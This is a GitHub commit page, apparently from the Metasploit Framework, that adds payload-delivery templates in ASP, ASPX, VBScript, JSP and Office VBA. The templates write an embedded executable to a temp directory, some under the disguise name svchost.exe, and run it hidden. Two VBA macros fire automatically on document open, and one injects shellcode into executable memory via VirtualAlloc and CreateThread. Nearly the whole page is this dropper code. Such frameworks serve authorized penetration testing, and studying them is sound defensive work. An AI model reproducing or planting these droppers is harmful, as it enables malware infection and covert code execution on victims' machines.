Skip to content

Commit e25ec2d

Browse files
tabassassintabassassin
committed
Merge for retab
2 parents a863005 + 8566c1d commit e25ec2d

File tree

3,164 files changed

+526765
-522306
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

3,164 files changed

+526765
-522306
lines changed

‎data/meterpreter/ext_server_stdapi.py

Lines changed: 857 additions & 0 deletions
Large diffs are not rendered by default.

‎data/meterpreter/meterpreter.py

Lines changed: 410 additions & 0 deletions
Large diffs are not rendered by default.

‎data/meterpreter/metsrv.dll

1 KB
Binary file not shown.

‎data/meterpreter/metsrv.x64.dll

512 Bytes
Binary file not shown.

‎data/templates/scripts/to_exe.asp.template

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
<%% @language="VBScript" %%>
2+
<%%
3+
Sub %{var_func}()
4+
%{var_shellcode}
5+
Dim %{var_obj}
6+
Set %{var_obj} = CreateObject("Scripting.FileSystemObject")
7+
Dim %{var_stream}
8+
Dim %{var_tempdir}
9+
Dim %{var_tempexe}
10+
Dim %{var_basedir}
11+
Set %{var_tempdir} = %{var_obj}.GetSpecialFolder(2)
12+
%{var_basedir} = %{var_tempdir} & "\" & %{var_obj}.GetTempName()
13+
%{var_obj}.CreateFolder(%{var_basedir})
14+
%{var_tempexe} = %{var_basedir} & "\" & "svchost.exe"
15+
Set %{var_stream} = %{var_obj}.CreateTextFile(%{var_tempexe},2,0)
16+
%{var_stream}.Write %{var_bytes}
17+
%{var_stream}.Close
18+
Dim %{var_shell}
19+
Set %{var_shell} = CreateObject("Wscript.Shell")
20+
%{var_shell}.run %{var_tempexe}, 0, false
21+
End Sub
22+
23+
%{var_func}
24+
%%>

‎data/templates/scripts/to_exe.aspx.template

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
<%%@ Page Language="C#" AutoEventWireup="true" %%>
2+
<%%@ Import Namespace="System.IO" %%>
3+
<script runat="server">
4+
protected void Page_Load(object sender, EventArgs e)
5+
{
6+
%{shellcode}
7+
string %{var_tempdir} = Path.GetTempPath();
8+
string %{var_basedir} = Path.Combine(%{var_tempdir}, "%{var_filename}");
9+
string %{var_tempexe} = Path.Combine(%{var_basedir}, "svchost.exe");
10+
11+
Directory.CreateDirectory(%{var_basedir});
12+
13+
FileStream fs = File.Create(%{var_tempexe});
14+
15+
try
16+
{
17+
fs.Write(%{var_file}, 0, %{var_file}.Length);
18+
}
19+
finally
20+
{
21+
if (fs != null) ((IDisposable)fs).Dispose();
22+
}
23+
24+
System.Diagnostics.Process %{var_proc} = new System.Diagnostics.Process();
25+
%{var_proc}.StartInfo.CreateNoWindow = true;
26+
%{var_proc}.StartInfo.UseShellExecute = true;
27+
%{var_proc}.StartInfo.FileName = %{var_tempexe};
28+
%{var_proc}.Start();
29+
}
30+
</script>

‎data/templates/scripts/to_exe.vba.template

Lines changed: 81 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,81 @@
1+
'**************************************************************
2+
'*
3+
'* This code is now split into two pieces:
4+
'* 1. The Macro. This must be copied into the Office document
5+
'* macro editor. This macro will run on startup.
6+
'*
7+
'* 2. The Data. The hex dump at the end of this output must be
8+
'* appended to the end of the document contents.
9+
'*
10+
'**************************************************************
11+
'*
12+
'* MACRO CODE
13+
'*
14+
'**************************************************************
15+
16+
Sub Auto_Open()
17+
%{func_name1}
18+
End Sub
19+
20+
Sub %{func_name1}()
21+
Dim %{var_appnr} As Integer
22+
Dim %{var_fname} As String
23+
Dim %{var_fenvi} As String
24+
Dim %{var_fhand} As Integer
25+
Dim %{var_parag} As Paragraph
26+
Dim %{var_index} As Integer
27+
Dim %{var_gotmagic} As Boolean
28+
Dim %{var_itemp} As Integer
29+
Dim %{var_stemp} As String
30+
Dim %{var_btemp} As Byte
31+
Dim %{var_magic} as String
32+
%{var_magic} = "%{var_magic}"
33+
%{var_fname} = "%{filename}.exe"
34+
%{var_fenvi} = Environ("USERPROFILE")
35+
ChDrive (%{var_fenvi})
36+
ChDir (%{var_fenvi})
37+
%{var_fhand} = FreeFile()
38+
Open %{var_fname} For Binary As %{var_fhand}
39+
For Each %{var_parag} in ActiveDocument.Paragraphs
40+
DoEvents
41+
%{var_stemp} = %{var_parag}.Range.Text
42+
If (%{var_gotmagic} = True) Then
43+
%{var_index} = 1
44+
While (%{var_index} < Len(%{var_stemp}))
45+
%{var_btemp} = Mid(%{var_stemp},%{var_index},4)
46+
Put #%{var_fhand}, , %{var_btemp}
47+
%{var_index} = %{var_index} + 4
48+
Wend
49+
ElseIf (InStr(1,%{var_stemp},%{var_magic}) > 0 And Len(%{var_stemp}) > 0) Then
50+
%{var_gotmagic} = True
51+
End If
52+
Next
53+
Close #%{var_fhand}
54+
%{func_name2}(%{var_fname})
55+
End Sub
56+
57+
Sub %{func_name2}(%{var_farg} As String)
58+
Dim %{var_appnr} As Integer
59+
Dim %{var_fenvi} As String
60+
%{var_fenvi} = Environ("USERPROFILE")
61+
ChDrive (%{var_fenvi})
62+
ChDir (%{var_fenvi})
63+
%{var_appnr} = Shell(%{var_farg}, vbHide)
64+
End Sub
65+
66+
Sub AutoOpen()
67+
Auto_Open
68+
End Sub
69+
70+
Sub Workbook_Open()
71+
Auto_Open
72+
End Sub
73+
74+
'**************************************************************
75+
'*
76+
'* PAYLOAD DATA
77+
'*
78+
'**************************************************************
79+
80+
%{var_magic}
81+
%{data}

‎data/templates/scripts/to_exe.vbs.template

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
Function %{var_func}()
2+
%{var_shellcode}
3+
4+
Dim %{var_obj}
5+
Set %{var_obj} = CreateObject("Scripting.FileSystemObject")
6+
Dim %{var_stream}
7+
Dim %{var_tempdir}
8+
Dim %{var_tempexe}
9+
Dim %{var_basedir}
10+
Set %{var_tempdir} = %{var_obj}.GetSpecialFolder(2)
11+
%{var_basedir} = %{var_tempdir} & "\" & %{var_obj}.GetTempName()
12+
%{var_obj}.CreateFolder(%{var_basedir})
13+
%{var_tempexe} = %{var_basedir} & "\" & "svchost.exe"
14+
Set %{var_stream} = %{var_obj}.CreateTextFile(%{var_tempexe}, true , false)
15+
%{var_stream}.Write %{var_bytes}
16+
%{var_stream}.Close
17+
Dim %{var_shell}
18+
Set %{var_shell} = CreateObject("Wscript.Shell")
19+
%{var_shell}.run %{var_tempexe}, 0, true
20+
%{var_obj}.DeleteFile(%{var_tempexe})
21+
%{var_obj}.DeleteFolder(%{var_basedir})
22+
End Function
23+
24+
%{init}

‎data/templates/scripts/to_exe_jsp.war.template

Lines changed: 49 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,49 @@
1+
<%%@ page import="java.io.*" %%>
2+
<%%
3+
String %{var_hexpath} = application.getRealPath("/") + "/%{var_hexfile}.txt";
4+
String %{var_exepath} = System.getProperty("java.io.tmpdir") + "/%{var_exe}";
5+
String %{var_data} = "";
6+
7+
if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1)
8+
{
9+
%{var_exepath} = %{var_exepath}.concat(".exe");
10+
}
11+
12+
FileInputStream %{var_inputstream} = new FileInputStream(%{var_hexpath});
13+
FileOutputStream %{var_outputstream} = new FileOutputStream(%{var_exepath});
14+
15+
int %{var_numbytes} = %{var_inputstream}.available();
16+
byte %{var_bytearray}[] = new byte[%{var_numbytes}];
17+
%{var_inputstream}.read(%{var_bytearray});
18+
%{var_inputstream}.close();
19+
byte[] %{var_bytes} = new byte[%{var_numbytes}/2];
20+
for (int %{var_counter} = 0; %{var_counter} < %{var_numbytes}; %{var_counter} += 2)
21+
{
22+
char %{var_char1} = (char) %{var_bytearray}[%{var_counter}];
23+
char %{var_char2} = (char) %{var_bytearray}[%{var_counter} + 1];
24+
int %{var_comb} = Character.digit(%{var_char1}, 16) & 0xff;
25+
%{var_comb} <<= 4;
26+
%{var_comb} += Character.digit(%{var_char2}, 16) & 0xff;
27+
%{var_bytes}[%{var_counter}/2] = (byte)%{var_comb};
28+
}
29+
30+
%{var_outputstream}.write(%{var_bytes});
31+
%{var_outputstream}.close();
32+
33+
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1){
34+
String[] %{var_fperm} = new String[3];
35+
%{var_fperm}[0] = "chmod";
36+
%{var_fperm}[1] = "+x";
37+
%{var_fperm}[2] = %{var_exepath};
38+
Process %{var_proc} = Runtime.getRuntime().exec(%{var_fperm});
39+
if (%{var_proc}.waitFor() == 0) {
40+
%{var_proc} = Runtime.getRuntime().exec(%{var_exepath});
41+
}
42+
43+
File %{var_fdel} = new File(%{var_exepath}); %{var_fdel}.delete();
44+
}
45+
else
46+
{
47+
Process %{var_proc} = Runtime.getRuntime().exec(%{var_exepath});
48+
}
49+
%%>

‎data/templates/scripts/to_mem.vba.template

Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
#If Vba7 Then
2+
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal %{var_lpThreadAttributes} As Long, ByVal %{var_dwStackSize} As Long, ByVal %{var_lpStartAddress} As LongPtr, %{var_lpParameter} As Long, ByVal %{var_dwCreationFlags} As Long, %{var_lpThreadID} As Long) As LongPtr
3+
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal %{var_lpAddr} As Long, ByVal %{var_lSize} As Long, ByVal %{var_flAllocationType} As Long, ByVal %{var_flProtect} As Long) As LongPtr
4+
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal %{var_lDest} As LongPtr, ByRef %{var_Source} As Any, ByVal %{var_Length} As Long) As LongPtr
5+
#Else
6+
Private Declare Function CreateThread Lib "kernel32" (ByVal %{var_lpThreadAttributes} As Long, ByVal %{var_dwStackSize} As Long, ByVal %{var_lpStartAddress} As Long, %{var_lpParameter} As Long, ByVal %{var_dwCreationFlags} As Long, %{var_lpThreadID} As Long) As Long
7+
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal %{var_lpAddr} As Long, ByVal %{var_lSize} As Long, ByVal %{var_flAllocationType} As Long, ByVal %{var_flProtect} As Long) As Long
8+
Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal %{var_lDest} As Long, ByRef %{var_Source} As Any, ByVal %{var_Length} As Long) As Long
9+
#EndIf
10+
11+
Sub Auto_Open()
12+
Dim %{var_myByte} As Long, %{var_myArray} As Variant, %{var_offset} As Long
13+
#If Vba7 Then
14+
Dim %{var_rwxpage} As LongPtr, %{var_res} As LongPtr
15+
#Else
16+
Dim %{var_rwxpage} As Long, %{var_res} As Long
17+
#EndIf
18+
%{bytes}
19+
%{var_rwxpage} = VirtualAlloc(0, UBound(%{var_myArray}), &H1000, &H40)
20+
For %{var_offset} = LBound(%{var_myArray}) To UBound(%{var_myArray})
21+
%{var_myByte} = %{var_myArray}(%{var_offset})
22+
%{var_res} = RtlMoveMemory(%{var_rwxpage} + %{var_offset}, %{var_myByte}, 1)
23+
Next %{var_offset}
24+
%{var_res} = CreateThread(0, 0, %{var_rwxpage}, 0, 0, 0)
25+
End Sub
26+
Sub AutoOpen()
27+
Auto_Open
28+
End Sub
29+
Sub Workbook_Open()
30+
Auto_Open
31+
End Sub
32+

0 commit comments

Comments
 (0)